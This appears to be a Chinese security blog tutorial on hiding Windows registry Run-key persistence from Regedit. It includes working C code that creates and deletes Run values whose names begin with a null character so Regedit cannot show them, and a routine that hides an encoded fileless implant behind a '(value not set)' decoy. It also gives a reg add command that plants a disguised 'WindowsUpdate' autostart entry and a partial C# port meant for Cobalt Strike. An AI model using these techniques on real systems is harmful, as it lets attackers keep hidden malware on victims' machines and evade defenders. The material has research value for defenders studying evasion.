文章中,所涉及的知识点,均可在互联网中可找到,之所以写这篇文章,是因为在预览这些知识点时,有不懂的地方,将其进行补全,整理成符合个人阅读习惯的文章。
0x00 前言
本文是讨论针对 Windows 注册表编辑器(Regedit)
进行攻击测试的两个例子。这两个测试,是使用 WIndows Native API 对注册表进行创建、修改和删除等操作,这些操作,单纯的使用 Regedit 查询是查询不到的。
就对这些 “看不见” 的注册表 进行讨论:
- 常规的注册表驻守;
- ”隐藏“ 的注册表驻守;
0x01 常规持久性技术
最常见的是对注册表的自启动项进行添加修改,注册表位置如下:
HKEY_CURRENT_USER(HKEY_LOCAL_MACHINE)SoftwareMicrosoftWindowsCurrentVersionRun
常用命令:
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindowsUpdate /t REG_SZ /d "C:WindowsTempMicrosoft.exe arg1 arg2" /f
修改完成后,当 Windows 用户登陆 (HKEY_CURRENT_USER 或 HKEY_LOCAL_MACHINE)
时,会运行此键值。所以,将可执行文件路径添加到此 Run
键后,文件在系统重启后将被执行。
因为此键值是最常见的,所以也是大多数的安全厂商的重点关注对象,大多数的安全厂家都能够做到禁止添加和异常扫描。
当进行 rootkit
排查时,先查看此注册表键值的内容,可以非常简单的可获取恶意的可执行文件的位置。
0x02 相关 API
我们接下来查看相关 API :
- RegOpenKeyExA – 打开指定的注册表项;
- NtSetValueKey – 创建或替换注册表键值项;
- ZwQueryValueKey – 读取注册表键值;
- NtDeleteValueKey – 删除注册表键值;
- RegCloseKey – 关闭指定注册表项的句柄。
如果使用 Native API
,则需要导入 ntdll.dll
。
如果使用 Win32 API
,则需要导入 advapi32.dll
。
2.1、RegOpenKeyExA
打开指定的注册表项。请注意,键名不区分大小写。要对键执行事务处理的注册表操作,请调用 RegOpenKeyTransacted 函数。
函数原型:
需要5个参数,我们只需要关注几个:
- hKey:打开的注册表项的句柄;
- lpSubKey:要打开的注册表子项的名称;
- phkResult:指向变量的指针,该变量接收打开的键的句柄。
如果成功打开,则返回 ERROR_SUCCESS
。
2.2、NtSetValueKey
此函数用于创建或替换注册表键值项,函数原型为:
需要 6 个参数,我们只需要关注几个:
- KeyHandle:处理注册表项以为其写入值条目。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的;
- ValueName:指向要为其写入数据的值条目的名称的指针。
- Data:指向包含值条目数据的调用者分配的缓冲区的指针。
2.3、ZwQueryValueKey
该函数读取注册表键值。其原型为:
需要 6 个参数,我们只需要关注几个:
- KeyHandle:处理要从中读取值条目的键。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的。
- ValueName:指向要获取其数据的值条目名称的指针。
- KeyValueInformationClass:类型。
- ResultLength:指向一个变量的指针,该变量接收 Key 信息的大小(以字节为单位)。
成功返回 STATUS_SUCCESS,失败则返回相应的错误代码。
注意: 如果在用户模式下调用此函数,则应使用名称“ NtQueryValueKey ”而不是 “ZwQueryValueKey ”。
0x03 隐藏的注册表
本小节是利用了 Regedit
的缺陷,创建了一个特殊的注册表项。由于这个特殊处理隐藏的注册表是使用 WIndows Native API进行的创建、删除,所以单纯的使用 Regedit
是查询不到的。这里并不是说用 API 进行创建就查询不到,而是这个特殊处理的注册表使用 Regedit
查询不到。
Ps:Win32 API 和 Native API 是有差别的。 以下内容是可实现隐藏注册表的根本原因:
在 Win32 API中,以 NULL结尾的字符串被解释为 ANSI(8位)或宽字符(16位)字符串。
在 Native API中,以 NULL结尾的字符串被解释为 Unicode(16位)字符串。
尽管平时这个区别并不重要,但是却带来了一个有趣的情况,举个例子:
当使用 Native API来构造特别的名称时,不能使用 Win32 API来对其进行查询。这是因为作为计数的 Unicode 字符串的名称可以包含 NULL 字符(0),例如 “key”,这个 Unicode 字符串长度为 4,但是在使用 Win32 API 来进行查询,这是因为在 Win32 API 中,“key”字符串的长度为 3,不满足查询条件。
之所以 Regedit
看不到,是因为 Regedit
使用的是 Win32 API
。
3.1、特殊的 ValueName
我们的注册表键值名称经过特殊构造: 以空字符 ”” 作为开头,后面加上任意字符。对于 Windows
系统,”” (0x0000)会被识别为字符串的结束符,所以在使用 Regedit
对该字符串读取的过程中,遇到开头的 ””,会被解析成结束符,提前截断,导致读取错误。
这个写入的值,在 Regedit
中是无法正常显示,但是在 Windows 系统重新启动时,它会正常执行。这涉及到内核调用机制,不在本文讨论范围内,简单过一下:
用户模式调用本机系统服务是通过 ntdll.dll 来实现的。
表面上,Win32 函数为编程人员提供了大量的 API 接口来实现功能,但这些 Win32 函数只不过是一个 API接口的容器而已,它将 Native API 包装起来,通过系统服务来实现真正的功能,也就是 ntdll.dll 是系统调用接口在用户模式下一个外壳。
所以不影响执行。来看看实现代码:
// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2))){
printf("SUCCESS setting hidden run value!n");
}else{
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)n", setRet, GetLastError()); RegCloseKey(hkResult);
}
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)n", openRet, GetLastError());
}
}
void deleteHiddenRunKey() {
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtDeleteValueKey = (_NtDeleteValueKey)GetProcAddress(hNtdll, "NtDeleteValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH; //this value doesn't matter as long as it is non-zero
ValueName.MaximumLength = 0;
HKEY hkResult = NULL;
if (!RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult)) {
if (!NtDeleteValueKey(hkResult, &ValueName)) {
printf("SUCCESS deleting hidden run value in registry!n");
}
RegCloseKey(hkResult);
}
}
先看看 createHiddenRunKey
:
- 首先是打开
HKEY_CURRENT_USER + runkeyPath
的句柄; - 将句柄传递给
NtSetValueKey
,而NtSetValueKey
传递的是UNICODE_STRING ValueName
; -
ValueName.Buffer
正常情况下是设置为:Run
; - 但是我们这里在前面加了一个或多个空值
WCHAR("")
,构造特殊的注册表; - 所以
ValueName.Buffer
应该是设置为:Run
。
而 deleteHiddenRunKey
就更加简单了
- 调用
NtDeleteValueKey
将指定键值删除。
编译运行。
HiddenRunKey.exe action=create keyvalue="C:WindowsSystem32calc.exe"
打开注册表进行对此键值进行查询时,则会弹窗提示错误。
点击确定后,内容还是之前的,新添加的内容已经成功隐藏。如果使用导出功能,也是提示错误。
同样,点击确定之后,导出的内容没有刚刚添加的内容。至此,添加的注册表已经成功隐藏,就 看不见 了。重启起效。
当然,期间也会出现一些小问题,比如有时候添加的注册表无法使用NtDeleteValueKey
进行删除,也懒得查找原因了,直接删除 Run
(这个表项删除后会自建)。
最后,为了方便配合 Cobalt Strike
使用,用 C#
重写以上代码(此重写代码多数取之 SharpHide – 之所以只是多数,是因为我在测试时,发现无论创建什么键值,都会提示错误),但是到 NtQueryValueKey
就中断了,因各种调试出错,而且当前互联网中几乎没找到有关于它的任何信息,唯一可借鉴的地方是 NtQueryValueKey.ps1。(希望有人能将下面的代码补全)
[DllImport("ntdll.dll")]
static extern int NtQueryValueKey(
UIntPtr KeyHandle,
IntPtr ValueName,
KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IntPtr KeyValueInformation,
UInt32 length,
out UInt32 ResultLength
);
[StructLayout(LayoutKind.Sequential)]
public struct KEY_VALUE_FULL_INFORMATION
{
public UInt32 TitleIndex;
public UInt32 Type;
public UInt32 DataOffset;
public UInt32 DataLength;
public UInt32 NameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
public char[] Name;
}
Status = NtQueryValueKey(regKeyHandle, ValueNamePtr, KeyValueFullInformation, 0, keyBuffer, out keyBuffer);
效果图:
3.2、特殊的 ValueData
第一种隐藏技术,是针对 ValueName
做的处理。本小节使用的是 Fileless Malware 技术,是有效的针对ValueData
的内容进行处理。
这里使用的是 Fileless Malware 技术,但是在查看键值时,也会像第一种技术一样会提示错误,但是除了指定的可见字符外,会将其他内容进行隐藏。与第一种技术一致,该内容无法导出。
// this writes the binary buffer of the encoded implant to the registry as a sting
// according to winnt.h, REG_SZ is "Unicode nul terminated string"
// When the value is exported, only part of the value will actually be exported.
char decoy[] = "(value not set)";
....
void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName) {
HKEY hkResult = NULL;
BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);
strcpy((char*)buf2, decoy);
buf2[strlen(decoy)] = 0;
memcpy(buf2 + strlen(decoy) + 1, buf, buflen);
if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))
{
printf("Key opened!n");
LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1);
printf("lStatus == %dn", lStatus);
RegCloseKey(hkResult);
}
free(buf2);
}
void readHiddenBuf(BYTE **buf, DWORD *buflen, const char *decoy, char * keyName, const char* valueName) {
HKEY hkResult = NULL;
LONG nError = RegOpenKeyExA(HKEY_CURRENT_USER, keyName, NULL, KEY_ALL_ACCESS, &hkResult);
RegQueryValueExA(hkResult, valueName, NULL, NULL, NULL, buflen);
*buf = (BYTE*)malloc(*buflen);
RegQueryValueExA(hkResult, valueName, NULL, NULL, *buf, buflen);
RegCloseKey(hkResult);
*buflen -= (strlen(decoy) + 1);
BYTE *buf2 = (BYTE*)malloc(*buflen);
memcpy(buf2, *buf + strlen(decoy) + 1, *buflen);
free(*buf);
*buf = buf2;
}
先看看 writeHiddenBuf
- 将
decoy
设置成 (value not set) - 然后将我们利用
Fileless Malware
处理过的 buffer 放在 (value not set)后面 - 通过 3.1 小节 可知,
Regedit
会自动截断,达到隐藏的效果
只要 RegSetValueExA 传递的 decoy 字符串的长度+隐藏缓冲区的长度,它将把整个缓冲区写入注册表,达到隐藏效果。
0x04 参考
InvisibleRegValues_Whitepaper.pdf
发表评论
您还未登录,请先登录。
登录